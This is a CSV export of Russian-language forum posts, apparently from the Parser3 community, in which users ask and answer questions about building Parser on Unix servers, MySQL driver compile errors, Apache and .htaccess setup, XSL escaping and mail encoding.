3. я совершенно не понял (есть подозрение, что ты не написал) что ты хочешь чтобы получилось. если почитать [uri=\"http://parser.ru/docs/lang/imagemeasure.htm\"]документацию[/uri] то может стать понятнее, что такое image::measure, а если-таки вы хотите просто получить путь к картинке - то не нужен там image::measure вовсе (хотя может он и нужен, если где-то требуется выводть размеры картинки. а путь к найденой картинке ты можешь достать из объекта $image: $image.src)"
"12873","Хорошо, честно опишу чего мне надо:\
Надо вывести gif-ы точно перед $sections.name-ами. \
Но не хочу нагромождать так:\
<img src=\"^file:find[arr.gif]{/images/arr.gif}\" width=\"8\" heigth=\"10\">$sections.name\
Как мне сделать это компактнее (т.к. подобная конструкция повторяется часто).\
Вот так. Поэтому я решил попробовать нечто вроде того, о чём писал ранее.\
Если это возможно как-либо иначе, то я с интересом прислушаюсь к твоему, т.к. \"обучаюсь\" в данный момент. Всё :)\
"
"12874","[code]\
@arr[][image]\
$image[^image::measure[^file:find[arr_on.gif]{/images/arr_on.gif}]]\
$result[^image.html[]]\
[/code]\
\
НО. Если тебе надо вызывать такой метод несколько раз, то это плохой вариант, т.к. при каждом выводе будет происходить поиск картинки, ее \"измерение\" (дисковые операции). В этом случае просто вызови метод один раз, положи результат - строку в переменную, и потом втыкай ее где тебе надо."
"12875","[b][color=red]PAF спасибо.[/color] [/b]\
\
попробовал собрать у себя дома(ASPLnux 7.2), для тренировки.\
собрал, без xml(я его не пользую),\
заменил в cgi-bin parser3.cgi(c http://www.parser.ru/) на свой собранный, почему-то перестал работать MySQL\
ошибка:\
[code]/www/html/auto.p(9): 'mysql://login:password@localhost/database' $SQL:drivers table must be defined  type: parser.runtime\
\
[/code]"
"12877","Скажите а как считать в переменную HTML-страницу с другого сервера WWW? Какой для этого использовать класс: file, request, response? Я что-то почитал документации и ничего не понял.\
\
Хочу на свой homepage добавить полосу новостей. Ха, ха, ха, ха. Я шучу, шучу. Для дела надо. Для платного дела. А то если не платное, то разве это дело?\
"
"12878","теперь это дело принципа, я его добью :)))"
"12880","скорее всего никак, только перлом"
"12881","[code]\
$file[^file::load[text;http://parser.ru/]]\
$file.text\
[/code]\
\
http://www.parser.ru/docs/lang/?fileload.htm"
"12883","Задача, через которую прошли, наверное, все из вас. Но не хочется пользоваться готовыми рецептами, а дойти самому. К календарю из Примеров, прикрутил \"<<<\" Февраль \">>>\", но вот незадача, не могу осуществить непроставление ссылок на будущие дни и проставление на дни прошедшие. В текущем месяце работает как и приведено в доках, но если вернуться на месяц... Логическое решение проблемы вроде пришло:\
\
 ^if(($dayx.year<$now.year)OR($dayx.year=$now.year and $dayx.month<$now.month)OR($dayx.year=$now.year and $dayx.month=$now.month and $days.$week_day<$now.day)){\
День с сылкой\
}{\
День без ссылки\
}\
\
Можно ли с ^if ставить несколько условий и как обосабливать группы условий, скобки не идут. Проблема в синтаксисе. (ОR и AND написаны для удобства выражения мысли)"
"12886","Я правильно понимаю, что он содержится только в исходниках парсера? Часто бывает нужно выяснить, с какого момента введена та или иная фича (я, например, под BSD юзаю 3.0005 без foreign-groups), а ченджлога нет на сайте...\
\
Если есть - поправьте, если нет - хдорово было бы выложить. Я согласен, что в стандартном дистрибутиве он не нужен, но так, отдельной ссылочкой...\
\
Заранее спасибо."
"12887","Хочу сделать небольшую новостную ленту, обойдясь без мускуля. Возникает вопрос: возможно ли для этого использовать таблицу в файле вида\
[code]id      title   text[/code],\
и в поле text хранить кусок текста размером в абзац-другой? (Разумеется, без переводов строки.) Или есть ограничение на длину?\
\
Заранее извините - :chainik: :)"
"12888","собирал сам, через ssh-доступ\
все делал как в инстале написано.\
[code]\
./configure --prefix=/home/dir/p3comp\
\
make\
[/code]\
и тут проблема. У них там почему-то ar расположен в директории /usr/ccs/bin/ar а путь этот нигде не обозначен поэтому все время выдавалось что команда не найдена, пришлось освоить vi и через терминал исправить все Makefile где есть AR = ar (на AR = /usr/ccs/bin/ar). После этого вся сборка прошла успешно.\
\
Только вот что смущает.\
1.права на собраном парсере -rwxr-xr-x, а сервер выдает 500 Internal Server Error.\
2.Почемуто файл parser3 весит аж 10 мегабайт(без xml)\
3.Собрать драйвер для MySQL вобще не удалось(пока). сначала таже фигня с ar но потом выдало после make кучу шибок в файле parser3mysql.C\
\
Знающие люди помгите разобратся, что я сделал не так, че он не рабтает?\
\
P.S. процессоры spark\
\
Да смотрел error_log сервера, там пишет «Premature end of script headers», но права стоят вроде правильные, получается, что не та версия, не та платформа? \
"
"12892","Скажите, можно ли как-то упростить разработку системы администрирования сайта (на Персере разумеется)? Imprimatur ведь бесплатно не распространяется? Что так и писать редактирование отдельных таблиц базы данных сайта и др. вручную? Нудно и последовательно и нет никаких гениальных идей?\
"
"12893","когда обращаюсь из shell# ./parser3\
[code]\
ld.so.1: ./parser3: fatal: libgcc_s.so.1: open failed: No such file or directory\
Killed\
[/code]\
вот такую выдает муру\
хотя файл есть /usr/local/lib/libgcc_s.so\
\
может при сборке надо было эту директрию обозначить?"
"12894","каждый хочет, чтобы ему всё готовое написали, а если сам пишет, то никому не даёт! Если хочешь получать софт бесплатно и без ограничений (читай по BSD-лицензии), распространяй свой софт по такой же лицензии! ;-) Всё просто как (2+2==4) eq true. :-) "
"12895","Язык Parser очень мощный, позволяет реализовать практически любую задачу для веб-ресурса. Посему, деразайте.\
Лично я разработал для себя несколько отдельных блоков которые связываю в единую систему управления сайтом под названием NewsMaker и приспокойно ставлю их на радость пользователей. Но, конечно же, я не даю коды, но в ближайшее время выложу подробные описания задач, которые у меня реально работают, что собственно предлагаю сделать и студии Лебедева, чтобы людям было к чему стремиться... Если человек интересуется разработкой, он сам реализует эти задачи, если же нет, то пусть пользуется бесплатно наработанными, зачастую некорректно работающими, свободными в распространении скриптами PHP. IMHO"
"12896","Поэтому лучше пользоваться SQL или пользовать предложенную тобой таблицу, а в поле text ложить ссылку на *.txt файл.\
Иначе прикинь, если у тебя будет порядка 1000 новостей..?"
"12897","У меня редактируются записи в БД через обозреватель, но только английские имена и без пробелов.\
\
Кто-нибудь знает как это исправить?"
"12898","Я думаю, может сделать таблицу, куда вносить поля других таблиц, а потом их подставлять в имена форм."
"12900","Спасибо, Sumo! Ведь 20 раз читал эту страничку. Проблема была в том, что == одинарное ставил."
"12902","по моему просто ведь...\
ту тебя будет форма\
<form>\
.....\
<input type=button name=posted>\
</form>\
где чел вводит свое пиьмо и...\
^if(def $form:posted){\
пошла твоя послыка\
}\
\
ну и проверять на наличие пустых полей в форме...\
"
"12905","OS - OpenBSD 3.2-base\
gmake-3.79.1\
glib-1.2.10\
pkgconfig-0.12.0\
libxml-2.4.24      \
libxslt-1.0.20 \
---\
./configure \
make\
Making all in src\
Making all in include\
Making all in main\
make: don't know how to make pa_common.@OBJEXT@. Stop in /var/sources/parser3/src/main.\
*** Error code 1\
\
Stop in /var/sources/parser3/src (line 147 of Makefile).\
*** Error code 1\
\
Stop in /var/sources/parser3 (line 188 of Makefile).\
#\
Может кто подскажет в чем проблема?"
"12907","а то собрался хостинг покупать - гляжу, а здесь уже для 4.7. 8-)"
"12910","как быстро - спасибо :-)"
"12911","а то что-то глючит у меня..."
"12912","Пару недель назад мучался с &nbsp; в xml и вот снова такая же проблема:\
\
Надо сформировать ссылку, содержащую & из XML\
\
Пишу:\
\
<xsl:attribute name=\"href\">/message.html?id=<xsl:value-of select=\"@id\"/>&sid=<xsl:value-of select=\"@sid\"/></xsl:attribute>\
\
Парсер говорит \"no name\"\
ПАМАЖИТЕ!\
\
"
"12913","Правильное написание - &amp;\
&sid= - нет такого энтити"
"12914","Спасибо."
"12915","Да... никак не вырасту - действительно надо было просто сделать поиск по форуму на предмет текста ошибки %-/...\
Но тут на пути к сборке парсера следующая проблема:\
cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project login                                       \
Logging in to :pserver:anonymous@cvs.parser.ru:2401/parser3project\
CVS password: \
cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project co -r release_3_0_0007 parser3 \
Fatal error, aborting.\
cvs: no such user\
Press any key to continue...\
\
Предварительно поискал форум на предмет \"CVS password\" - ничего не нашлось.. %-0.."
"12917","Не так давно наши админы \"гасили\" cvs.parser.ru в связи с какой-то критической ошибкой в секъюрности. Возможно, сейчас просто закрыт анонимный доступ. Не так давно PAF писал путь к свежей (HEAD) версии в архиве на http - поглядите последние сообщения PAF'а и возьмите по ссылке."
"12918","а что там сложного? берёшь в фотошопе делаешь файл, и букавки вертикально вставляешь, подгонишь там смещение и усё в порядке...\
"
"12919","Был баг в CVS... используя анонимный доступ можно было достать до шелла на сервере.. но ведь заплатки уже давно вышли %-0..."
"12920","С учетом того, что вчера была суббота, а сегодня воскресение - не лучшие дни для работы - все возможно. Во всяком случае, анонимуса не пускает или в слове anonymous - ошибка ;-)"
"12921","Просмотрел раздел \"скачать\" и доки по установке - везде приводится один и тот же пример (источник cvs).\
Анонимус написан правильно %-).. везде работал copy/paste %-)...\
Когда точно прошел баг о cvs лень лезть искать - вопрос же не принципальный? %-)..\
Главное чтобы открылось, чтобы архивы исходников в том же разделе скачать поправили... а то сколько они уже там битые лежат? Хоть бы в INSTALL написали что дескать так и так %-) не мучайтесь ребята %-))))... ждите когда откроются врата cvs`а %-)."
"12922","ситуация такая, parser установлен хостером в директорию /home/httpd/parser3\
там же лежат драйвера для БД.\
\
У меня в конфигурационном методе изменена переменная $confdir на $confdir[/home/httpd/parser3]\
Файл читается 100%, проверял (в @auto[] конфигурационном файле определял переменную потом читал её в глубине сайта),\
но вот как-то странно ведет  себя метод  @unhandled_exception\
я изменяю вызов с release на debug, а вызывается release, причём если я меняю в release какую-нибудь строку то ничего не меняется, откуда берётся этот метод непонятно?\
Комментирую в @fatal_error , строку $response:status(500) (или добавляю просто какую-нибудь строку), тоже ничего не происходит…\
Конфигурационный метод тоже работает, все драйвера подключаются…\
Даже не знаю куда копать….\
\
Версия парсера .0006\
"
"12924","Да, согласен, бесплатный сыр только в мышеловке, да и то для мышей. Я всегда всем давал, за что меня всю жизнь бьют, уже не убили чуть. Так что тут ты промазал. К тому же я просил не программу, а идею. Вообще может не стоило бы начинать этот спор, поскольку видимо у нас разное совсем мировоззрение. \
\
Сказка вот какова. Есть среди людей такая каста умных людей. Она немногочисленна. Иногда она приходит к власти (как в европейских демократиях), иногда их всех истребляют (сталинская Россия). Форум Лебедев для таких вот открыл (и сам он такой). Чтобы эта каста к власти пришла и там осталась. И мы друг другу ничего не жалеем, поверь. Деньги за бумагу почитаем. Дружбу ценим, здоровье. И еще такие живут редко долго. Хотя это не факт и бывают прицеденты. Вон Солженицын уже всех сверсников пережил. Все живет. (Видать еще одного не пережил, а тот в НКВД работал.)\
\
Я, например, не знаю что такое BSD-лицензия. Если хочешь, чтоб я тебя понял пришли ссылку на статью об этом. Или как там.\
\
Да и вообще я много чего не знаю, пишу с ошибками, матерюсь как бомж, слушаю правильных блатных опасаясь тюрьмы, прочитал много про компьютеры, но больше никаких других книг не видел даже, не люблю Пушкина и Есенина.\
"
"12926","Просьба такая:\
иногда приходиться работать с версией например .0005 и .0007\
и документацию смотришь две разные, если одновременно открыты обе(.chm) то с первого взгляда не различишь...\
пожалуйста указывайте полный номер версии... в заголовке окна, а также на первой странице, где картинка птички и увековеченные имена:)\
\
надеюсь идея полезная....\
"
"12928","Что-то не приходит в голову, как сделать следущее (если возможно):\
- есть в форме кнопка вставки рисунков в статью с произвольным расположением и выравниванием. С этим все понятно. Но\
- есть форма, в которую человек вводит текст.\
Задача: требуется сделать произвольное форматирование любоко куска уже введенного текста (напр. выделить курсивом) не вводя в ручную теги/псевдотеги. То есть как в Word'e - выделил текст -> нажал кнопку \"курсив\" -> все, что нужно, отформатировалось."
"12932","зайди в систему:\
demo\
demo\
и посмотри в редакторе файлов какой javascript - там еще много чего"
"12933","На локальном у себя настроил все работает - тащусь.\
А в www настроить не могу.\
Что там надо прописать в.htaccess? \
Помогите.\
Не сочтите за труд по подробнее, а то в doc'ах я так и не понял что там прописывать надо.\
Thanks..."
"12934","У меня такой же вопрос и те же траблы..."
"12935","одно и то же, но :\
<a href=\"/message.html?id={@id}&amp;sid={@sid}\">blabla</a>\
\
красивее, не правда ли ? :)"
"12936","Траблов, как выяснилось, никаких нет. Кидаем в папку /www/cgi/parser3 в одну кучу freebsd версию парсера + файлы с кодировками + auto.p стандартного содержания. Путь к libparser3mysql.so надо, правда, указать от корня сервера, например, /www/вашсайт/www/cgi-bin/parser3/libparser3mysql.so\
\
Не забываем поставить на parser3.cgi права 755 и сравнить размер закачанного файла с исходником. Они должны совпасть до байта.\
\
в /www/htdocs/.htaccess пишем\
\
Options +Includes +FollowSymLinks -Indexes\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3/parser3.cgi\
\
#Не даём плохим дядям читать  .cfg и .p файлы:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
#Файл по умолчанию:\
DirectoryIndex index.html\
\
\
и всё работает..."
"12937","Приведи цитату того, что не понял? Понятнее, чем там уж некуда..."
"12940","...на удаленном хосте применить вашу локальную конфигурацию!?..:)\
\
P.S. Как же вы настроили свой локаль, если даже понятия не имеете о строках, прописуемых в .htaccess?"
"12941","Хотя данный тред на это ну никак не располагает!..:)\
\
Во первых - данный форум предназначен, как мне кажется, для обсуждения вопросов, так или иначе связанных с Парсером. И никак не для споров!\
\
Далее - автору треда : вы вообще книжки про юзабилити читали? Это где ж вы такие заголовки писать научились? Они длинные и не говорят буквально не о чем! Что значит \"Скажите, можно ли как-то упростить разработку системы администрирования сайта (на Персере разумеется)?\" ? Я вам отвечу - конечно можно! Предела оптимизации нет - она ограничивается только знаниями и способностями разработчика!\
\
И что вы подразумеваете под программой для администрирования сайта? Imprimatur? Меня поражает - никто этой системы не видел - и все хотят! Чего вы от него ждете - что он вам по одной кнопочке весь ваш сайт закрутит? И вообще - зачем вам такая система? У вас что - сайт типа Google или похожий? Если вы создали такой сайт, то ваши вопросы просто лишены смысла.\
\
P.S. Невольно складывается впечатление, что вам скучно. Или вы не знаете, чего хотите."
"12942","...\"сайтам типа Google\" Impimatur ни к чему. :-)"
"12943","Даже таким сайтам, как Google, Imprimatur никчему!...:)))))))\
\
P.S. Имелись ввиду не задачи, а объемы..."
"12944","что нужно знать о сервере, чтобы установить на него парсер?\
можно ли установить парсер на любых серверах или могут быть обкоцанные?"
"12945","Каркас сайта и информация первой страницы храниться в файле auto.p в корневой директории сайта, а если я создаю раздел информация из него храниться в файле auto.p в этой директории. А вот допустим в этом разделе у меня кроме index.html ещё 30 файлов – где хранить информацию из них?"
"12946","...или его надо добавлять самостоятельно?"
"12947","вся информация хранится в .html-фаилах. В файлах auto.p хранится каркас сайта, логика навигации и другие запчасти \"движка\".\
\
Перечитайте [b]внимательно[/b] уроки 1-2 из документации."
"12948","денвер- апач+mysql+php и т.д...и все уже настроенное.\
+ у них специально собирается парсер под денвер - ставишь и он работает.\
\
я сейчас использую денвер2, а парсер с стандартый из скачки.\
\
Меня интересует вот что, т.к. видимо 3.0.0007 пояаился ща под денвер - т.е. скомпилен, то он уже без багов, которые есть еще в текущей 3.0.0007, лежащие в скачке?"
"12949","в этих же 30ти файлах)))). только ссыклки дать на них)\
\
какая разница, индекс или статьи.хтмл? Index.html - просто считается по умолчанию текущим, при открытии каталога, например /info/"
"12953","Никак не пойму. Сделал форму отправки e-mail\
[code]\
@send[]\
^if(def $form:posted){\
^mail:send[ \
    $.from[<mail@chetvertnoy.ru>] \
    $.to[<mail@chetvertnoy.ru>] \
    $.subject[Письмо от ${form:name}] \
    $.html{Привет тебе от ${form:name}<br>\
#и далее текст из textarea\
${form:textarea}\
}\
] \
}\
[code]\
\
письмо нормально отправляется, только пишет в теме письма что-то вроде Х ??  и в теле письма то же самое.\
В общем, как я понял, не распознаётся русская кодировка. если писать латиницей или цифрами, всё нормально"
"12954","появился в /cgi-bin/ :-|"
"12955","Так не работает, зверь ... "
"12958","Допёрло. Письмо отсылается в кодировке UTF-8\
Если дописать \
[code]\
$.charset[koi8-r]\
[/code]\
то выдаёт: 'koi8-r' unknown charset  type: parser.runtime"
"12959","Спасибо форуму за многозначительное молчание. Разобрался сам.\
Извините, что лезу, не подумавши"
"12961","Обычно нужно знать операционную систему и её версию (FreeBSD 4.7, Red Hat Linux 7.3, etc), тип и версию веб-сервера (обычно Apache 1.3.27), возможность запуска приложений на сервере (должно быть true ;-) ). \
\
Если Вам не удастся найти бинарный (скомпилированный) файл в разделе скачать, тогда можно попробовать собрать версию парсера для вашей операционной системы самому. "
"12962","можно положить и считать?"
"12963","ага.. самому. можно подумать у всех так и стоит фрибсд чтобы компилировать софт. обычно для работы стоит винда, а фрибсд - далеко у хостера. вот и попробуй скомпилировать."
"12964","http://www.vmware.com/"
"12965","знаем. это ещё больший изврат."
"12966","у меня стоит, собрал под ней PostgreSQL, Apache, все работает офигенно. До успешной сборки парсера так и не дошло, в силу либо моей  ограниченности, либо некоторой кривости при сборке под Unix.\
\
Памяти жрет правда много ента самая штука."
"12967","Спасибо огромное - все работает ..."
"12968","это значит, что во время выполнения парсера произошла какая-то ошибка, помешавшая нормальному завершению работы парсера. для отладки система в этот файл сложила все, что было известно на момент возникновения ошибки."
"12969","А?"
"12970","да ставил я её. и фрибсд туда. но согласись, компиляция чего-то под юниксом - задача для опытных юникс-администраторов, но никак не для *веб-разработчиков*, даже профессиональных, к коим отношусь и я.\
\
это я всё к тому, что толку от того, что выложены исходники -- мало. надо выкладывать скомпилированные версии парсера под разные версии юниксов."
"12971","[quote]компиляция чего-то под юниксом - задача для опытных юникс-администраторов[/quote]\
\
Вот пусть сисадмины хостингов эту работу и делают, а не перекладывают это на разработчиков Парсера!\
\
"
"12972","-"
"12974","Вопрос \"Скажите, можно ли как-то упростить разработку системы администрирования сайта (на Персере разумеется)?\" корректен. Просто он даже более корректен, чем вы можете подумать. \
\
Вы пишете: \"Невольно складывается впечатление, что вам скучно. Или вы не знаете, чего хотите.\"\
\
Нет я обратился к эксперту с вопросом несколько общим, но вообще цель вполне конкретная. Мне на днях нужно будет написать систему адм-я, небольшую правда и в принципе можно было написать как попало. И вот я спросил может подкинут идею как сделать получше. К тому я планирую писать это и в дальнейшем.\
\
Далее. Для зравомыслящего человека-эксперта очевидно без комментариев, что есть лобовой метод написания системы адм-я. Это наподобии визарда. Например удаление поизводится за три шага: \
1) выбор записи для удаления\
2) отображение выбраной записи и просьба подтвердить удаление\
3) удаление и сообщение об окончании операции.\
Есть и другие способы оформить, примерно аналогичные. И это все очевидно нормальному уму. \
\
Так а я спросил есть ли методы другие помимо этого очевидного? \
\
Вы программист по образованию? Или я сейчас разговариваю опять с дизайнером. Я программист.\
\
Мне не скучно и я знаю чего хочу. Я задаю конкретный вопрос и ожидаю такой же ответ. И даже без философии.\
"
"12975","Классные программисты таких вопросов не задают. Вера в единственно правильный метод - это детская болезнь, которой правда страдают многие действительно хорошие специалисты.\
\
Да, и ещё - любая сложная система построенная с нуля никогда не заработает. Работающие сложные системы являются результатом эволюции более простых систем. Вообщем, пилите Шура, пилите, они золотые."
"12976","А вообще ныне существующим браузерам пофиг, есть ли у атрибутов кавычки или нет."
"12977","ибо я за чистоту кода...\
меня всегда раздражают конструкции типа:\
<img src=1.jpg alt=Василий border=0>\
гораздо правильней\
<img src=\"1.jpg\" alt=\"Василий &lt;star&gt;\" border=\"0\">\
а для парсера\
<img src=\"1.jpg\" alt=\"Василий &lt^;star&gt^;\" border=\"0\">"
"12978","То <img src=\"1.jpg\" alt=\"Василий &lt;star&gt;\" border=\"0\"[b] /[/b]>\
"
"12979","на сколько помню, по спецификации можно не заключать в кавычки те атрибуты, значения которых содержат только буквы и цифры. И, ессно, не содержит пробелов."
"12980","По \"современным\" - все в кавычках и все тэги закрыты."
"12981","Прочитал здесь, что есть редакторы с подсветкой синтаксиса для Виндов, а как быть тем, кто живет в консоли?\
\
У кого есть варианты, поделитесь!\
Заранее спасибо."
"12983","Есть такой редактор называется vim. Работает под разными платформами.\
После того как ты научишься работать с ним, вопрос поиска редактора будет закрыт навсегда :-)\
Перечислять достоинства я не буду. Скажу просто Зе Бэст :-)\
\
http://vim.sourceforge.net/"
"12984","В HTML 4 тоже все должно быть в кавычках, но вот непарные теги есть. Более ранние спецификации не смотрел."
"12986","вот так ещё лучше:\
[code]\
<img src=\"1.jpg\" alt=\"Василий &lt;star&gt;\" style=\"border: 0; width: ...px; height: ...px\" />\
[/code]"
"12987","И что тогда искать где устроиться на работу к тем, у кого уже есть сложная работающая система? Самому пилить бесполезно?\
\
Что вы имеете в виду под \"вера в единственно правильный метод\"?\
"
"12988","если это HTML для вывода в браузер, то [i]можно не заключать в кавычки те атрибуты, значения которых содержат только буквы и цифры. И, ессно, не содержит пробелов.[/i]\
\
если это XML для дальнейшего преобразования или XSL трансформации, то [i]все в кавычках и все тэги закрыты.[/i]\
\
если ... то... (и т.д. и т.п.)\
\
А стандартам пусть следуют производители ПО (браузеров, XSLT процессоров), нам в любом случае ничего не остается кроме как \"подстраиваться\" под результаты их трудов."
"12990","мне показалось что в вопросе: Скажите, можно ли как-то упростить разработку системы администрирования сайта? содержится скрытый вопрос про самый оптимальную систему управления контентом, вот это я и имел ввиду под \"вера в единственно правильный метод\"\
\
На первые вопросы я не знаю ответа."
"12991","Что имеется ввиду под \"оптимальным\" код или юзабельность или то и другое(в последнем случае - только \"пилить\").\
Не знаю как Вам, Никита, но мне иногда хватает пары скриншотов CMS для того чтобы понять для себя что и как я буду реализовывать, позже я только улучшаю эти вещи+добавляю новые.\
Просто попробуйте спросить у людей глянуть их CMS`ки и/или зайдите на сайты фирм продающих эти вещи - посмотреть демки, если будут проблемы с кодингом: тут обычно помогают, а полный листинг нормальной CMS тут вряд ли кто-то выложит.\
Ведь \"Главное - идея\"(с, Самизнаетекто) ;)"
"12992","HTML ключевое слово, мы же не говорим про XML, ясен перец что если XML кривой его ни одна вещь, которая с ним работает не примет."
"12993","Толь руки кривые... толи одно из двух...\
Наверное эта тема уже увсех достала...\
\
Короче что не делай парсар не хочет запускается говормит примерно следуюшие%\
[Tue Feb 11 18:13:18 2003] [error] [client 212.164.48.18] File does not exist: /home/avenger/pub/html/var/www/parser3/parser3.cgi/index.html \
причем /home/avenger/pub/html/var/\
      /www/parser3/parser3.cgi\
соверщенно разные каталоги %(\
parser3.cgi/index.html  \
         ^^^^^^^^^^^^^ - почему так ваше не в курсе....\
короче не могут настроить apache.\
\
бывает говорит так: \
\
[Tue Feb 11 16:40:48 2003] [error] Unrecognized character \\x7F at /var/www/cgi-bin/avenger/parser3.cgi line 1.\
 \
подозреваю что perl  патается выполнить parser3.cgi %-[ *]\
\
\
вот очередная чать файла httpd.conf\
\
\
_________________что-то_______________________\
\
AddHandler parser3-handler html\
Action parser3-handler /var/www/parser3/parser3.cgi \
\
_________________что-то_________________________\
\
\
<VirtualHost лала:*>\
    ServerAdmin avenger@rubtsosk.ru\
    DocumentRoot /home/avenger/pub/html\
    ServerName avenger\
    ErrorLog logs/avenger-error.log\
    CustomLog logs/avenger-access.log common\
    DirectoryIndex index.html\
</Directory>\
\
\
подстановка AddHandler parser3-handler html\
Action parser3-handler /var/www/parser3/parser3.cgi \
\
в виртуальный хост ничего не дает.\
\
ПРОБЛЕММА №2\
\
возможно оффтопик (сразу сорри)\
\
не могу заставить апачу выполнять cgi скрипты в не каталога, указанного в скрипталиас\
\
писал в виртуальном хосте что-то в роде\
\
\
<Directory \"/лала/html\">\
allow from all\
order deny,allow\
AddHandler cgi-script .cgi\
AllowOverride None\
Options ExecCGI\
</Directory> \
\
Танцы с бубном вокруг SetHandler  ничего не дают...\
\
ПОМОГИТЕ!!!!!!!!!!!! КРИК ДУШИ!!!!!!!!!!!!!!!\
"
"12994","Sanja v.2 ты написал ,что при закачке размеры файла parser3.cgi должны совпасть ... А у меня почему то размер меняеться ...(или cute ftp глючит с отображением байт)...\
Как с этим бороться ?\
У меня та же проблема - хочу сайт ,хостящийся на rbc, перевести на Parser ...\
Настраивал -  перепробовал всё что можно - результатов никаких ...\
После строчек в .htaccess :\
\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3/parser3.cgi\
\
virtual hosts валится ...\
Не подскажешь в таком случае в чём может быть проблема .\
Может из за разницы в размерах ? \
P.S. Располагать файлы как ты писал я тоже пробовал ...\
"
"12995","тем более что вопрос акцентируется собственно на кавычках в тегах, никаких других ключевых слов я там не заметил.\
\
А сказать я хотел следующее: какой смысл писать код основываясь на стандартах, если нет уверенности, что ПО для которой этот код предназначен их поддерживает. Не лучше ли ориентироваться на конкретные возможности ПО?"
"12996","пытаюсь собрать драйвер  mysql (платформа Solaris8)  для работы  парсера с БД\
\
$ ./configure --prefix=$HOME/p3 --with-mysql-inc=$inc\
\
все вроде конфигурит\
\
странно. когда делаю make  выдает следующее:\
\
что бы это значило?\
пробовал дома на ASPLinux  все работает.\
\
[code]\
--------------------------------------------\
\
$ make  parser3mysql.C:17:27: pa_sql_driver.h: No such file or directory\
parser3mysql.C:52: parse error before `{' token\
parser3mysql.C: In function `int api_version()':\
parser3mysql.C:59: `SQL_DRIVER_API_VERSION' undeclared (first use this\
  function)\
parser3mysql.C:59: (Each undeclared identifier is reported only once for each\
  function it appears in.)\
parser3mysql.C: In function `const char* initialize(char*)':\
parser3mysql.C:63: `dlink' undeclared (first use this function)\
parser3mysql.C: At global scope:\
parser3mysql.C:78: type specifier omitted for parameter `SQL_Driver_services'\
parser3mysql.C:78: parse error before `&' token\
parser3mysql.C: In function `void connect(...)':\
parser3mysql.C:81: `used_only_in_connect_url' undeclared (first use this\
  function)\
parser3mysql.C:111: `services' undeclared (first use this function)\
parser3mysql.C:142: `connection' undeclared (first use this function)\
parser3mysql.C: At global scope:\
parser3mysql.C:147: `SQL_Driver_services' was not declared in this scope\
parser3mysql.C:147: parse error before `,' token\
parser3mysql.C:148: `SQL_Driver_services' was not declared in this scope\
parser3mysql.C:148: parse error before `,' token\
parser3mysql.C:150: `SQL_Driver_services' was not declared in this scope\
parser3mysql.C:150: parse error before `,' token\
parser3mysql.C:155: `SQL_Driver_services' was not declared in this scope\
parser3mysql.C:155: parse error before `,' token\
parser3mysql.C: In function `unsigned int quote(...)':\
parser3mysql.C:163: `to' undeclared (first use this function)\
parser3mysql.C:164: `from' undeclared (first use this function)\
parser3mysql.C:164: `length' undeclared (first use this function)\
parser3mysql.C: At global scope:\
parser3mysql.C:169: `SQL_Driver_services' was not declared in this scope\
parser3mysql.C:169: parse error before `*' token\
parser3mysql.C: In function `void query(...)':\
parser3mysql.C:177: `offset' undeclared (first use this function)\
parser3mysql.C:177: `limit' undeclared (first use this function)\
parser3mysql.C:178: `astatement' undeclared (first use this function)\
parser3mysql.C:209: `SQL_Error' undeclared (first use this function)\
parser3mysql.C:209: parse error before `;' token\
parser3mysql.C:221: `handlers' undeclared (first use this function)\
parser3mysql.C:221: `sql_error' undeclared (first use this function)\
parser3mysql.C: At global scope:\
parser3mysql.C:246: parse error before `private'\
parser3mysql.C:248: 't_mysql_init' is used as a type, but is not defined as a\
  type.\
parser3mysql.C:250: `int (*mysql_options)(MYSQL*, mysql_option, const char*)'\
  redeclared as different kind of symbol\
/hosting/programs/mysql/include/mysql/mysql.h:270: previous declaration of `int\
  mysql_options(MYSQL*, mysql_option, const char*)'\
parser3mysql.C:252: `MYSQL_RES*(*mysql_store_result)(MYSQL*)' redeclared as\
  different kind of symbol\
/hosting/programs/mysql/include/mysql/mysql.h:267: previous declaration of `\
  MYSQL_RES* mysql_store_result(MYSQL*)'\
parser3mysql.C:254: `int (*mysql_query)(MYSQL*, const char*)' redeclared as\
  different kind of symbol\
/hosting/programs/mysql/include/mysql/mysql.h:243: previous declaration of `int\
  mysql_query(MYSQL*, const char*)'\
parser3mysql.C:256: `char*(*mysql_error)(MYSQL*)' redeclared as different kind\
  of symbol\
/hosting/programs/mysql/include/mysql/mysql.h:208: previous declaration of `\
  char* mysql_error(MYSQL*)'\
parser3mysql.C:265: `MYSQL*(*mysql_real_connect)(MYSQL*, const char*, const\
  char*, const char*, const char*, unsigned int, const char*, unsigned int)'\
  redeclared as different kind of symbol\
/hosting/programs/mysql/include/mysql/mysql.h:232: previous declaration of `\
  MYSQL* mysql_real_connect(MYSQL*, const char*, const char*, const char*,\
  const char*, unsigned int, const char*, unsigned int)'\
parser3mysql.C:267: `void (*mysql_close)(MYSQL*)' redeclared as different kind\
  of symbol\
/hosting/programs/mysql/include/mysql/mysql.h:241: previous declaration of `\
  void mysql_close(MYSQL*)'\
parser3mysql.C:269: `int (*mysql_ping)(MYSQL*)' redeclared as different kind of\
  symbol\
/hosting/programs/mysql/include/mysql/mysql.h:256: previous declaration of `int\
  mysql_ping(MYSQL*)'\
parser3mysql.C:272: `long unsigned int (*mysql_escape_string)(char*, const\
  char*, long unsigned int)' redeclared as different kind of symbol\
/hosting/programs/mysql/include/mysql/mysql.h:281: previous declaration of `\
  long unsigned int mysql_escape_string(char*, const char*, long unsigned int)\
  '\
parser3mysql.C:274: `void (*mysql_free_result)(MYSQL_RES*)' redeclared as\
  different kind of symbol\
/hosting/programs/mysql/include/mysql/mysql.h:271: previous declaration of `\
  void mysql_free_result(MYSQL_RES*)'\
parser3mysql.C:276: `long unsigned int*(*mysql_fetch_lengths)(MYSQL_RES*)'\
  redeclared as different kind of symbol\
/hosting/programs/mysql/include/mysql/mysql.h:278: previous declaration of `\
  long unsigned int* mysql_fetch_lengths(MYSQL_RES*)'\
parser3mysql.C:278: `char**(*mysql_fetch_row)(MYSQL_RES*)' redeclared as\
  different kind of symbol\
/hosting/programs/mysql/include/mysql/mysql.h:277: previous declaration of `\
  char** mysql_fetch_row(MYSQL_RES*)'\
